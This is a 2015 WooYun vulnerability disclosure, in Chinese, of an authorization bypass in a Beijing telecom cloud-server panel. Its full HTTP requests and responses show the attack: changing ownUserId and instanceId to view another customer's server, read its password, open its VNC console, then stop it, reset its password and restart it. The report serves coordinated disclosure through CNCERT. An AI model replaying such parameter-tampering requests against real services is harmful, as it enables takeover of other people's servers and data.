当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0150098

漏洞标题：北京电信通（时代宏远）云主机面板存在越权漏洞可导致越权控制大量服务器权限

相关厂商：电信通

漏洞作者： glzjin

提交时间：2015-10-28 15:12

修复时间：2015-12-13 17:22

公开时间：2015-12-13 17:22

漏洞类型：未授权访问/权限绕过

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-28： 细节已通知厂商并且等待厂商处理中
2015-10-29： 厂商已经确认，细节仅向厂商公开
2015-11-08： 细节向核心白帽子及相关领域专家公开
2015-11-18： 细节向普通白帽子公开
2015-11-28： 细节向实习白帽子公开
2015-12-13： 细节向公众公开

简要描述：

看到这个标题是不是很熟悉呢？

详细说明：

是的，先看到这里
http://**.**.**.**/bugs/wooyun-2015-098853
在我今天早上发现了漏洞之后，就去网上搜索了一下，没想到还真的有过。
不过，既然已经公开了，那么应该已经修复了吧？
然而，我测试过程中，发现，还是没有，下面我就结合我的发现，来报告一下这个漏洞。
首先，是进入到这个管理面板。
http://**.**.**.**/index.asp
然后登陆，
开始抓包。

7DCB.tm.png


在登陆之后，可以看到抓到这样一个包，我们从这里入手

POST **.**.**.**:7001/drpengcloudportal/pr/client?p=/instance/describeInstances HTTP/1.1
Host: **.**.**.**:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: **.**.**.**:7001/drpengcloudportal/newui/jsp/workspace.jsp
Content-Length: 56
Cookie: JSESSIONID=A05*******************
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
type=1&state=&name=&beginDate=&endDate=&ownUserId=******


这个，最后面的 ownUserId 大有玄机，我们随机改改试试

POST **.**.**.**:7001/drpengcloudportal/pr/client?p=/instance/describeInstances HTTP/1.1
Host: **.**.**.**:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: **.**.**.**:7001/drpengcloudportal/newui/jsp/workspace.jsp
Content-Length: 56
Cookie: JSESSIONID=A05F8D414F3***********
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
type=1&state=&name=&beginDate=&endDate=&ownUserId=418600


然后我们看看返回了什么吧

{"data":[{"state":"running","msg":null,"config":{"monitorSate":null,"memorySize":512,"cpuNum":1},"instanceName":"i-2-22462-VM","nicsNum":1,"bizType":1,"optState":"","templateType":1,"expireDate":1448171004000,"instanceId":434522,"productCode":"XYI-win2003_32_N1","productName":"国内云主机MⅡ-win2003-32-N1","appName":null,"appDesc":null,"createDate":1445007880000,"saleDate":1445491672000,"instanceType":1,"resourcePoolId":"12f499f0-1861-4384-93b4-37fd18efdada"}],"code":"0","msg":"success"}


哈哈就得到这个账户的信息了。
然后我们这里需要的是 instanceId 这个参数 可以看到我们目标攻击的主机是 434522，记下。
然后我们继续看，先到自己的主机里，查看密码，抓到一个格式，作为模板。

POST **.**.**.**:7001/drpengcloudportal/pr/client?p=/instance/vm/searchPassword/****** HTTP/1.1
Host: **.**.**.**:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
X-Requested-With: XMLHttpRequest
Referer: **.**.**.**:7001/drpengcloudportal/newui/jsp/workspaceConsole.jsp
Cookie: JSESSIONID=A05F8D4************
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 0


把 URL 里的地址 替换成 上面获取的实例ID，
比如 刚刚的，

POST **.**.**.**:7001/drpengcloudportal/pr/client?p=/instance/vm/searchPassword/434522 HTTP/1.1
Host: **.**.**.**:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
X-Requested-With: XMLHttpRequest
Referer: **.**.**.**:7001/drpengcloudportal/newui/jsp/workspaceConsole.jsp
Cookie: JSESSIONID=A05F8D41*******
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 0


然后就可以看到了

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/json;charset=utf-8
Transfer-Encoding: chunked
Date: Wed, 28 Oct 2015 05:47:08 GMT
2f
{"data":"sC9fwrpzk","code":"0","msg":"success"}
0


然后继续来，获取一下远程桌面的连接地址吧。
同样的，点击自己的主机，抓个模板。

POST **.**.**.**:7001/drpengcloudportal/api HTTP/1.1
Host: **.**.**.**:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: **.**.**.**:7001/drpengcloudportal/newui/jsp/workspaceConsole.jsp
Content-Length: 70
Cookie: JSESSIONID=A05F8D414F3B************
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
command=getVirtualMachineVncContent&reponseType=json&instanceId=******


如法炮制，获取我们目标主机的 URL。

POST **.**.**.**:7001/drpengcloudportal/api HTTP/1.1
Host: **.**.**.**:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: **.**.**.**:7001/drpengcloudportal/newui/jsp/workspaceConsole.jsp
Content-Length: 70
Cookie: JSESSIONID=A05F8D414F3B************
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
command=getVirtualMachineVncContent&reponseType=json&instanceId=434522


获取到了~

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/javascript;charset=UTF-8
Content-Length: 331
Date: Wed, 28 Oct 2015 05:53:13 GMT
{"html":"http:\/\/**.**.**.**\/ajax?token=AjxGnsjX3lLTBSNVbxlIgomzZ6vFg44Z6ISHRrccoXJHOxgNiM7u8NI1bmcP_OT2Uw38McVMk51y_-0DMk09FE7dWam1ojWD7v1IN9-BlNXz7-k9Z80mbO81dHb-My_scv_tAzJNPRTwT0gI5KgWNl2tIQwVjgrLFyWl7E_-WslM2hgI56rYO-oPXqbWJJmm5hTQmmlVX-lJTTSOIBLfcnlCGsZKmYN1qIGKbT5b-JXfDaRfFuCMIZJlnppEufsM&guest=windows&title=i-2-22462-VM"}


我们访问看看~
http://**.**.**.**/ajax?token=AjxGnsjX3lLTBSNVbxlIgomzZ6vFg44Z6ISHRrccoXJHOxgNiM7u8NI1bmcP_OT2Uw38McVMk51y_-0DMk09FE7dWam1ojWD7v1IN9-BlNXz7-k9Z80mbO81dHb-My_scv_tAzJNPRTwT0gI5KgWNl2tIQwVjgrLFyWl7E_-WslM2hgI56rYO-oPXqbWJJmm5hTQmmlVX-lJTTSOIBLfcnlCGsZKmYN1qIGKbT5b-JXfDaRfFuCMIZJlnppEufsM&guest=windows&title=i-2-22462-VM
看到没，登陆了。

E18.tm.png


我用刚才得到的密码 sC9fwrpzk 试试。

1033.tm.png


似乎是修改了默认密码
不要紧，我们可以重置
在自己的面板上，先关机，然后尝试重置密码，这里我抓模板。
这个是关机的

POST **.**.**.**:7001/drpengcloudportal/pr/client?p=/instance/vm/stopInstances/****** HTTP/1.1
Host: **.**.**.**:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
X-Requested-With: XMLHttpRequest
Referer: **.**.**.**:7001/drpengcloudportal/newui/jsp/workspaceConsole.jsp
Cookie: JSESSIONID=A05F8D*********
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 0


这个是重置密码的

POST **.**.**.**:7001/drpengcloudportal/pr/client?p=/instance/vm/resetPassword HTTP/1.1
Host: **.**.**.**:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: **.**.**.**:7001/drpengcloudportal/newui/jsp/workspaceConsole.jsp
Content-Length: 28
Cookie: JSESSIONID=*****************
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
ids=******&newOsPwd=testhack


然后这个是开机指令。

POST **.**.**.**:7001/drpengcloudportal/pr/client?p=/instance/vm/startInstances/****** HTTP/1.1
Host: **.**.**.**:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
X-Requested-With: XMLHttpRequest
Referer: **.**.**.**:7001/drpengcloudportal/newui/jsp/workspaceConsole.jsp
Cookie: JSESSIONID=A05F8D*********
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 0


OK ,我们来试试
发送停机指令

POST **.**.**.**:7001/drpengcloudportal/pr/client?p=/instance/vm/stopInstances/434522 HTTP/1.1
Host: **.**.**.**:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
X-Requested-With: XMLHttpRequest
Referer: **.**.**.**:7001/drpengcloudportal/newui/jsp/workspaceConsole.jsp
Cookie: JSESSIONID=A05F8D414F**********
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 0


filehelper_1446014596247_22.png


然后继续

POST **.**.**.**:7001/drpengcloudportal/pr/client?p=/instance/vm/resetPassword HTTP/1.1
Host: **.**.**.**:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: **.**.**.**:7001/drpengcloudportal/newui/jsp/workspaceConsole.jsp
Content-Length: 28
Cookie: JSESSIONID=A05F8D414F*********
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
ids=434522&newOsPwd=testhack


重置密码了
然后启动看看

POST **.**.**.**:7001/drpengcloudportal/pr/client?p=/instance/vm/startInstances/434522 HTTP/1.1
Host: **.**.**.**:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
X-Requested-With: XMLHttpRequest
Referer: **.**.**.**:7001/drpengcloudportal/newui/jsp/workspaceConsole.jsp
Cookie: JSESSIONID=**********
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 0


看看能登陆没= =

POST **.**.**.**:7001/drpengcloudportal/api HTTP/1.1
Host: **.**.**.**:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: **.**.**.**:7001/drpengcloudportal/newui/jsp/workspaceConsole.jsp
Content-Length: 70
Cookie: JSESSIONID=*****************
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
command=getVirtualMachineVncContent&reponseType=json&instanceId=434522


HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/javascript;charset=UTF-8
Content-Length: 331
Date: Wed, 28 Oct 2015 06:38:06 GMT
{"html":"http:\/\/**.**.**.**\/ajax?token=AjxGnsjX3lLTBSNVbxlIgomzZ6vFg44Z6ISHRrccoXJHOxgNiM7u8NI1bmcP_OT2hKQKK_Co0p1y_-0DMk09FE7dWam1ojWD7v1IN9-BlNXz7-k9Z80mbO81dHb-My_scv_tAzJNPRTwT0gI5KgWNl2tIQwVjgrLFyWl7E_-WslM2hgI56rYO-oPXqbWJJmm5hTQmmlVX-kvWZef6ESo25qF7mRQUFT8L46G0pqyAjG_mI4pwlMGLpBsBD40gtIw&guest=windows&title=i-2-22462-VM"}


然后，接着看下面的验证。

漏洞证明：

913256825@chatroom_1446015444560_45.png


LInux 的我就不演示了，异曲同工
要是我写个小脚本来批量重装系统= =不晓得有什么后果呢。

修复方案：

加强验证

版权声明：转载请注明来源 glzjin@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2015-10-29 17:21

厂商回复：

CNVD确认所述情况，已经由CNVD通过网站公开联系方式向软件生产厂商通报。

最新状态：

暂无

漏洞评价：

评论

  1. 2015-10-28 17:27 | DNS ( 普通白帽子 | Rank:543 漏洞数:61 | 没有我，你们就去背IP吧)

    1

  2. 2015-10-29 23:59 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1077 漏洞数:139 | 多乌云、多机会!微信公众号: id:a301zls ...)

    好熟悉的标题